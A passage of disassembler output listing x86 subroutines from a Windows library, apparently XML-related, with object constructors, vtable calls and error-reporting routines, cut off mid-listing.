; ---------------------------------------------------------------------------


loc_69B6FFF0:				; CODE XREF: sub_69B6FFC1+28j
		mov	eax, dword_69B9B4A8
		push	esi
		push	off_69B9A440	; lpString
		mov	esi, [eax+14h]
		call	sub_69B1A587
		push	eax
		push	off_69B9A43C	; lpString
		call	sub_69B1A587
		push	eax
		push	esi
		push	0C00CE30Dh
		call	sub_69B6E277
		xor	eax, eax
		pop	esi

locret_69B7001F:			; CODE XREF: sub_69B6FFC1+2Dj
		retn	4
sub_69B6FFC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70022	proc near		; CODE XREF: sub_69B70050+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B2DC24
		mov	dword ptr [esi], offset	off_69B18670
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	esi
		retn	4
sub_69B70022	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70041	proc near		; DATA XREF: .text:69B1415Co
					; .text:69B162BCo
		mov	eax, offset off_69B70048
		retn
sub_69B70041	endp

; ---------------------------------------------------------------------------
		align 4
off_69B70048	dd offset off_69B2A4F4	; DATA XREF: sub_69B70041o
		dd offset sub_69B700FA

; =============== S U B	R O U T	I N E =======================================



sub_69B70050	proc near		; CODE XREF: sub_69B700D2+7p
					; sub_69B72446+7p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B70022
		mov	dword ptr [esi], offset	off_69B140F8
		mov	eax, esi
		pop	esi
		retn	4
sub_69B70050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70068	proc near		; CODE XREF: sub_69B70163+18p
					; sub_69B755ED+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		mov	ebx, [esi+14h]
		add	edi, 10h
		mov	eax, [edi]
		push	0FFFFFFFFh
		push	0
		mov	ecx, edi
		call	dword ptr [eax+4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+28h]
		mov	eax, [eax+18h]
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	al, al
		jz	short loc_69B700A9
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		mov	ebx, eax


loc_69B700A9:				; CODE XREF: sub_69B70068+35j
		test	ebx, ebx
		jz	short loc_69B700C0
		push	[ebp+arg_4]
		mov	eax, [ebx]
		push	[ebp+arg_0]
		mov	ecx, ebx
		push	[ebp+var_4]
		push	edi
		call	dword ptr [eax+54h]
		jmp	short loc_69B700CB
; ---------------------------------------------------------------------------


loc_69B700C0:				; CODE XREF: sub_69B70068+43j
		push	[ebp+var_4]
		mov	ecx, [ebp+arg_4]
		call	sub_69B64115


loc_69B700CB:				; CODE XREF: sub_69B70068+56j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B70068	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B700D2	proc near		; CODE XREF: sub_69B700FA+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B70050
		mov	dword ptr [esi], offset	off_69B14140
		and	dword ptr [esi+14h], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B700D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B700EE	proc near		; DATA XREF: .text:69B14180o
					; .text:69B162E0o
		xor	eax, eax
		cmp	ecx, dword_69B9B668
		setz	al
		retn
sub_69B700EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B700FA	proc near		; DATA XREF: .text:69B7004Co
		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7010F
		push	0
		mov	ecx, eax
		call	sub_69B700D2
		retn
; ---------------------------------------------------------------------------


loc_69B7010F:				; CODE XREF: sub_69B700FA+9j
		xor	eax, eax
		retn
sub_69B700FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70112	proc near		; CODE XREF: sub_69B755D6-5F349p
					; sub_69B70235+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B72FBE
		push	[esp+4+arg_4]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B14140
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	8
sub_69B70112	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7013A	proc near		; DATA XREF: .text:69B14168o
					; .text:69B162C8o
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B72FE6
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	edi, eax
		lea	eax, [esi+14h]
		push	eax
		lea	ecx, [edi+14h]
		call	sub_69B4D414
		mov	al, [esi+18h]
		mov	[edi+18h], al
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B7013A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70163	proc near		; DATA XREF: .text:69B14178o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_10], 0
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_4]
		mov	esi, ecx
		mov	[ebp+var_C], 0
		call	sub_69B70068
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [esi+18h]
		push	eax
		mov	eax, [esi+10h]
		shr	eax, 1
		and	eax, 0FFFFFF01h
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_69B6E85D
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	esi
		leave
		retn	8
sub_69B70163	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B701AA	proc near		; DATA XREF: .text:69B1417Co
					; .text:69B162DCo

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		push	8
		push	dword_69B9B508
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B6EA8E
		push	eax
		lea	edi, [esi+14h]
		push	edi
		call	sub_69B17320
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		mov	eax, [eax+14h]
		cmp	eax, dword_69B9B5D0
		jnz	short loc_69B70223
		cmp	dword ptr [ebx+0A8h], 2
		jz	short loc_69B70223
		xor	eax, eax
		cmp	[edi], eax
		jnz	short loc_69B70204
		push	eax
		push	eax
		push	dword_69B9B508
		push	0C00CE020h
		call	sub_69B6E277


loc_69B70204:				; CODE XREF: sub_69B701AA+46j
		mov	eax, dword_69B9B4B8
		mov	ecx, [esi+0Ch]
		mov	edx, [ecx]
		push	eax
		mov	edi, eax
		call	dword ptr [edx+0A4h]
		push	eax
		push	edi
		call	sub_69B6FF5F
		mov	[esi+18h], al
		jmp	short loc_69B70227
; ---------------------------------------------------------------------------


loc_69B70223:				; CODE XREF: sub_69B701AA+37j
					; sub_69B701AA+40j
		mov	byte ptr [esi+18h], 0


loc_69B70227:				; CODE XREF: sub_69B701AA+77j
		push	dword ptr [esi+0Ch]
		call	sub_69B6FED3
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B701AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70235	proc near		; CODE XREF: sub_69B7024C+17p
					; sub_69B7298C+CAp ...
		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B70247
		mov	ecx, eax
		jmp	sub_69B70112
; ---------------------------------------------------------------------------


loc_69B70247:				; CODE XREF: sub_69B70235+9j
		xor	eax, eax
		retn	8
sub_69B70235	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7024C	proc near		; CODE XREF: sub_69B6DF3C+11Cp
		push	0
		push	0
		call	sub_69B67D20
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	0
		call	sub_69B70235
		push	eax		; Value
		mov	ecx, offset dword_69B9B668 ; Target
		call	sub_69B188DC
		retn
sub_69B7024C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70274	proc near		; DATA XREF: .text:69B21D40o
					; .text:69B21DC0o

arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_4]
		mov	eax, [esi]
		push	edi
		mov	edi, ecx
		mov	ecx, esi
		call	dword ptr [eax+44h]
		dec	eax
		jz	short loc_69B70291
		dec	eax
		jz	short loc_69B702B2
		sub	eax, 3
		jz	short loc_69B702B2
		dec	eax
		jnz	short loc_69B702A3


loc_69B70291:				; CODE XREF: sub_69B70274+10j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+50h]
		mov	ecx, eax
		call	sub_69B2EF67
		test	al, al
		jnz	short loc_69B702B2


loc_69B702A3:				; CODE XREF: sub_69B70274+1Bj
		mov	ecx, [edi+0Ch]
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+3Ch]
		push	eax
		call	sub_69B6FE1A


loc_69B702B2:				; CODE XREF: sub_69B70274+13j
					; sub_69B70274+18j ...
		mov	eax, [esp+8+arg_C]
		pop	edi
		pop	esi
		retn	10h
sub_69B70274	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B702BB	proc near		; DATA XREF: .text:69B21DA0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		sub	eax, ebx
		push	esi
		mov	esi, [esp+0Ch+arg_4]
		mov	ebp, ecx
		jz	short loc_69B70323
		dec	eax
		dec	eax
		jz	short loc_69B7032C
		dec	eax
		jnz	short loc_69B7031D


loc_69B702D5:				; CODE XREF: sub_69B702BB+74j
		mov	eax, [esi+28h]
		cmp	[eax+0Ch], ebx
		jnz	short loc_69B70304
		push	edi
		push	ebx
		push	0FFFFFFFFh
		mov	ecx, esi
		call	sub_69B6E571
		mov	edi, eax
		mov	eax, [edi]
		push	ebx
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax]
		push	eax
		push	edi
		mov	ecx, ebp
		call	sub_69B73094
		push	eax
		mov	ecx, esi
		call	sub_69B6F131
		pop	edi


loc_69B70304:				; CODE XREF: sub_69B702BB+20j
		push	ebx
		push	1
		push	2


loc_69B70309:				; CODE XREF: sub_69B702BB+79j
		mov	ecx, esi
		call	sub_69B6F0B5
		cmp	eax, 1
		jnz	short loc_69B7031D
		push	esi
		mov	ecx, ebp
		call	sub_69B725AD


loc_69B7031D:				; CODE XREF: sub_69B702BB+18j
					; sub_69B702BB+58j
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_69B70323:				; CODE XREF: sub_69B702BB+11j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_69B72316


loc_69B7032C:				; CODE XREF: sub_69B702BB+15j
		cmp	[ebp+18h], ebx
		jz	short loc_69B702D5
		push	ebx
		push	ebx
		push	ebx
		jmp	short loc_69B70309
sub_69B702BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70336	proc near		; DATA XREF: .text:69B21D3Co
					; .text:69B21DBCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		cmp	eax, dword_69B9B590
		push	esi
		push	[ebp+arg_C]
		mov	esi, ecx
		jnz	short loc_69B70358
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B73101
		jmp	short loc_69B70393
; ---------------------------------------------------------------------------


loc_69B70358:				; CODE XREF: sub_69B70336+12j
		cmp	eax, dword_69B9B570
		jnz	short loc_69B70385
		mov	ecx, [ebp+arg_0]
		call	sub_69B6EB90
		push	3
		push	[ebp+arg_C]
		push	esi
		push	[ebp+arg_0]
		call	sub_69B73499
		push	[ebp+arg_4]
		mov	edx, [eax]
		push	[ebp+arg_0]
		mov	ecx, eax
		call	dword ptr [edx+3Ch]
		jmp	short loc_69B70393
; ---------------------------------------------------------------------------


loc_69B70385:				; CODE XREF: sub_69B70336+28j
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		push	eax
		call	sub_69B6FE1A


loc_69B70393:				; CODE XREF: sub_69B70336+20j
					; sub_69B70336+4Dj
		pop	esi
		pop	ebp
		retn	10h
sub_69B70336	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70398	proc near		; DATA XREF: .text:69B141DCo
					; .text:69B1618Co ...
		or	dword ptr [ecx+24h], 4
		retn	10h
sub_69B70398	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7039F	proc near		; CODE XREF: sub_69B703C5+Fj
					; sub_69B704C8+3p ...
		push	esi
		mov	esi, ecx
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B2DEDD
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B2DEDD
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B7039F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B703C5	proc near		; CODE XREF: sub_69B704E3+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	short sub_69B7039F
sub_69B703C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B703D6	proc near		; DATA XREF: .text:69B21D28o
					; .text:69B21DA8o
		xor	eax, eax
		cmp	ecx, dword_69B9B670
		setz	al
		retn
sub_69B703D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B703E2	proc near		; DATA XREF: .text:69B21DB0o
		mov	eax, [ecx+1Ch]
		test	eax, eax
		jz	short loc_69B703ED
		add	eax, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_69B703ED:				; CODE XREF: sub_69B703E2+5j
		xor	eax, eax
		retn
sub_69B703E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B703F0	proc near		; CODE XREF: sub_69B70407+1Fp
					; sub_69B72A73+47p
		push	30h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B70402
		mov	ecx, eax
		jmp	sub_69B21D48
; ---------------------------------------------------------------------------


loc_69B70402:				; CODE XREF: sub_69B703F0+9j
		xor	eax, eax
		retn	0Ch
sub_69B703F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70407	proc near		; CODE XREF: sub_69B6DF3C+117p
		push	esi
		xor	esi, esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_69B685B5
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	esi
		push	esi
		call	sub_69B703F0
		push	eax		; Value
		mov	ecx, offset dword_69B9B670 ; Target
		call	sub_69B188DC
		pop	esi
		retn
sub_69B70407	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70438	proc near		; DATA XREF: .text:69B21DA4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, ecx
		mov	ebx, [esi+0Ch]
		call	sub_69B73078
		mov	edi, [ebp+arg_0]
		and	[ebp+arg_4], 0
		cmp	dword ptr [edi+0A8h], 2
		push	eax
		mov	[ebp+var_4], eax
		mov	ecx, esi
		push	edi
		jz	short loc_69B7047E
		call	sub_69B72DBF
		mov	ecx, [esi+0Ch]
		push	dword_69B9B490
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		mov	[ebp+arg_4], eax
		jmp	short loc_69B7048F
; ---------------------------------------------------------------------------


loc_69B7047E:				; CODE XREF: sub_69B70438+29j
		call	sub_69B7326E
		push	[ebp+var_4]
		mov	ecx, esi
		push	ebx
		push	edi
		call	sub_69B7267F


loc_69B7048F:				; CODE XREF: sub_69B70438+44j
		cmp	[ebp+arg_4], 0
		jz	short loc_69B704A9
		mov	ecx, [edi+68h]
		push	1
		push	[ebp+arg_4]
		push	0Bh
		call	sub_69B4DE11
		mov	eax, [eax+8]
		jmp	short loc_69B704AE
; ---------------------------------------------------------------------------


loc_69B704A9:				; CODE XREF: sub_69B70438+5Bj
		mov	eax, dword_69B95A0C


loc_69B704AE:				; CODE XREF: sub_69B70438+6Fj
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_69B7238E
		push	eax
		add	esi, 14h
		push	esi
		call	sub_69B2DEB2
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B70438	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B704C8	proc near		; DATA XREF: .text:69B14194o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B7039F
		test	[esp+4+arg_0], 1
		jz	short loc_69B704DD
		push	esi
		call	sub_69B1829F


loc_69B704DD:				; CODE XREF: sub_69B704C8+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B704C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B704E3	proc near		; DATA XREF: .text:69B21CF4o
					; .text:69B21D74o ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B703C5
		test	[esp+4+arg_0], 1
		jz	short loc_69B704F8
		push	esi
		call	sub_69B1829F


loc_69B704F8:				; CODE XREF: sub_69B704E3+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B704E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B704FE	proc near		; CODE XREF: sub_69B6EDDE+C1p
					; sub_69B72DBF+34p ...
		inc	dword ptr [ecx+0Ch]
		and	dword ptr [ecx+8], 0
		retn
sub_69B704FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70506	proc near		; CODE XREF: sub_69B70506+Ap
					; sub_69B7055C+1Dp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+40h]
		test	ecx, ecx
		jz	short loc_69B70515
		call	sub_69B70506


loc_69B70515:				; CODE XREF: sub_69B70506+8j
		mov	eax, [esi]
		mov	ecx, esi
		pop	esi
		jmp	dword ptr [eax+34h]
sub_69B70506	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7051D	proc near		; CODE XREF: sub_69B70774+11p
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	eax, [ebx+10h]
		push	1
		push	eax
		call	sub_69B3156E
		mov	esi, eax
		jmp	short loc_69B7054B
; ---------------------------------------------------------------------------


loc_69B70531:				; CODE XREF: sub_69B7051D+39j
		lea	ecx, [edi+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B7054B
		push	dword ptr [ebx+8]
		mov	ecx, edi
		call	sub_69B73624
		mov	[ebx+8], eax


loc_69B7054B:				; CODE XREF: sub_69B7051D+12j
					; sub_69B7051D+1Fj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B70531
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B7051D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7055C	proc near		; CODE XREF: sub_69B6EC84+9p
					; sub_69B6ED05+C5p ...
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+4], bl
		jz	short loc_69B7058A
		mov	eax, [esi+10h]
		push	edi
		push	1
		push	eax
		call	sub_69B3156E
		mov	edi, eax
		jmp	short loc_69B7057E
; ---------------------------------------------------------------------------


loc_69B70577:				; CODE XREF: sub_69B7055C+2Bj
		mov	ecx, eax
		call	sub_69B70506


loc_69B7057E:				; CODE XREF: sub_69B7055C+19j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		cmp	eax, ebx
		jnz	short loc_69B70577
		pop	edi


loc_69B7058A:				; CODE XREF: sub_69B7055C+9j
		push	ebx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+18h]
		push	eax
		mov	[esi+14h], ebx
		call	sub_69B17320
		mov	[esi+0Ch], ebx
		mov	[esi+8], ebx
		mov	[esi+4], bl
		pop	esi
		pop	ebx
		retn
sub_69B7055C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B705AD	proc near		; CODE XREF: sub_69B73499+4Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 3
		push	esi
		push	edi
		mov	esi, ecx
		jz	short loc_69B705E4
		cmp	byte ptr [esi+4], 0
		jz	short loc_69B705E4
		push	[esp+8+arg_0]
		mov	ecx, [esi+10h]
		call	sub_69B1980A
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B705DE
		cmp	dword ptr [edi+4Ch], 0
		jnz	short loc_69B705DE
		mov	eax, [edi+3Ch]
		cmp	eax, [esi+0Ch]
		jz	short loc_69B705E0


loc_69B705DE:				; CODE XREF: sub_69B705AD+21j
					; sub_69B705AD+27j
		xor	edi, edi


loc_69B705E0:				; CODE XREF: sub_69B705AD+2Fj
		test	edi, edi
		jnz	short loc_69B705F5


loc_69B705E4:				; CODE XREF: sub_69B705AD+9j
					; sub_69B705AD+Fj
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+14h]
		push	[esp+10h+arg_0]
		call	sub_69B7372C
		mov	edi, eax


loc_69B705F5:				; CODE XREF: sub_69B705AD+35j
		cmp	dword ptr [esi+0Ch], 1
		jnz	short loc_69B70605
		push	edi
		add	esi, 18h
		push	esi
		call	sub_69B17320


loc_69B70605:				; CODE XREF: sub_69B705AD+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_69B705AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7060C	proc near		; CODE XREF: sub_69B73539+6Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword ptr [edi+4Ch], 3
		mov	ebx, ecx
		jz	loc_69B706B3
		push	esi
		lea	esi, [ebx+10h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B7063B
		push	0
		push	1
		push	20h
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B7063B:				; CODE XREF: sub_69B7060C+1Bj
		mov	eax, [esi]
		lea	esi, [edi+2Ch]
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	ecx, [ebp+arg_0]
		push	edi
		push	eax
		call	sub_69B3182D
		test	eax, eax
		jz	short loc_69B7068A
		cmp	dword ptr [eax+3Ch], 1
		jnz	short loc_69B70670
		cmp	dword ptr [ebx+0Ch], 1
		jle	short loc_69B70670
		push	eax
		lea	eax, [edi+40h]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B7068A
; ---------------------------------------------------------------------------


loc_69B70670:				; CODE XREF: sub_69B7060C+50j
					; sub_69B7060C+56j
		cmp	eax, edi
		jz	short loc_69B7068A
		mov	eax, [esi]
		push	0
		push	0
		mov	ecx, esi
		call	dword ptr [eax+38h]
		push	eax
		push	0C00CE315h
		call	sub_69B6E277


loc_69B7068A:				; CODE XREF: sub_69B7060C+4Aj
					; sub_69B7060C+62j ...
		lea	eax, [ebx+18h]
		cmp	dword ptr [eax], 0
		pop	esi
		jz	short loc_69B7069D
		cmp	byte ptr [ebx+4], 0
		mov	byte ptr [ebp+arg_0+3],	1
		jnz	short loc_69B706A1


loc_69B7069D:				; CODE XREF: sub_69B7060C+85j
		mov	byte ptr [ebp+arg_0+3],	0


loc_69B706A1:				; CODE XREF: sub_69B7060C+8Fj
		push	0
		push	eax
		call	sub_69B17320
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_69B706B3
		xor	al, al
		jmp	short loc_69B706C4
; ---------------------------------------------------------------------------


loc_69B706B3:				; CODE XREF: sub_69B7060C+Ej
					; sub_69B7060C+A1j
		mov	eax, [ebx+8]
		lea	ecx, [eax+1]
		mov	[ebx+8], ecx
		mov	[edi+38h], eax
		mov	[ebx+14h], edi
		mov	al, 1


loc_69B706C4:				; CODE XREF: sub_69B7060C+A5j
		pop	edi
		pop	ebx
		pop	ebp
		retn	4
sub_69B7060C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B706CA	proc near		; DATA XREF: .text:off_69B2A4C8o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+10h]
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B706E9
		push	[ebp+arg_0]
		call	sub_69B1980A
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B70741


loc_69B706E9:				; CODE XREF: sub_69B706CA+Fj
		mov	eax, [edi+18h]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B7070E
		lea	ecx, [eax+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_69B7070E
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		push	0C00CE316h
		call	sub_69B6E277


loc_69B7070E:				; CODE XREF: sub_69B706CA+26j
					; sub_69B706CA+33j
		push	1
		push	ebx
		push	[ebp+arg_0]
		call	sub_69B7372C
		cmp	dword ptr [esi], 0
		mov	ebx, eax
		jnz	short loc_69B70732
		push	0
		push	1
		push	20h
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B70732:				; CODE XREF: sub_69B706CA+54j
		mov	ecx, [esi]
		push	ebx
		push	[ebp+arg_0]
		call	sub_69B3182D
		mov	byte ptr [edi+4], 1


loc_69B70741:				; CODE XREF: sub_69B706CA+1Dj
		cmp	byte ptr [edi+4], 0
		jz	short loc_69B7075A
		mov	ecx, [edi+18h]
		test	ecx, ecx
		jz	short loc_69B7075A
		cmp	dword ptr [ebx+3Ch], 1
		jnz	short loc_69B7075A
		push	ebx
		call	sub_69B735FC


loc_69B7075A:				; CODE XREF: sub_69B706CA+7Bj
					; sub_69B706CA+82j ...
		push	dword ptr [edi+0Ch]
		mov	ecx, ebx
		call	sub_69B732DB
		lea	ecx, [eax+8]
		neg	eax
		pop	edi
		sbb	eax, eax
		pop	esi
		and	eax, ecx
		pop	ebx
		pop	ebp
		retn	4
sub_69B706CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70774	proc near		; CODE XREF: sub_69B6EDDE+E8p
					; sub_69B72DBF+57p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		cmp	eax, 1
		jnz	short loc_69B70796
		cmp	byte ptr [esi+4], 0
		jz	short loc_69B7078E
		call	sub_69B7051D
		mov	byte ptr [esi+4], 0


loc_69B7078E:				; CODE XREF: sub_69B70774+Fj
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7055C
; ---------------------------------------------------------------------------


loc_69B70796:				; CODE XREF: sub_69B70774+9j
		dec	eax
		and	dword ptr [esi+8], 0
		mov	[esi+0Ch], eax
		jmp	short loc_69B707BB
; ---------------------------------------------------------------------------


loc_69B707A0:				; CODE XREF: sub_69B70774+4Bj
		mov	ecx, [esi+14h]
		mov	eax, [esi+0Ch]
		cmp	eax, [ecx+3Ch]
		jge	short loc_69B707C3
		push	esi
		push	eax
		call	sub_69B735BF
		mov	eax, [esi+14h]
		mov	eax, [eax+44h]
		mov	[esi+14h], eax


loc_69B707BB:				; CODE XREF: sub_69B70774+2Aj
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_69B707A0
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B707C3:				; CODE XREF: sub_69B70774+35j
		mov	eax, [esi+14h]
		mov	ecx, [esi+0Ch]
		cmp	ecx, [eax+3Ch]
		jnz	short loc_69B707DA
		lea	ecx, [eax+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		inc	eax
		mov	[esi+8], eax


loc_69B707DA:				; CODE XREF: sub_69B70774+58j
		pop	esi
		retn
sub_69B70774	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B707DC	proc near		; DATA XREF: .text:69B15DDCo

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+1D0h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		retn	4
sub_69B707DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B707F1	proc near		; DATA XREF: .text:69B15DE0o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+1D0h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		retn	4
sub_69B707F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70806	proc near		; DATA XREF: .text:69B15FA8o
		lea	eax, [ecx-24h]
		add	ecx, 0FFFFFFF4h
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn
sub_69B70806	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70813	proc near		; CODE XREF: sub_69B70A67+1Fp
					; sub_69B71074+111p

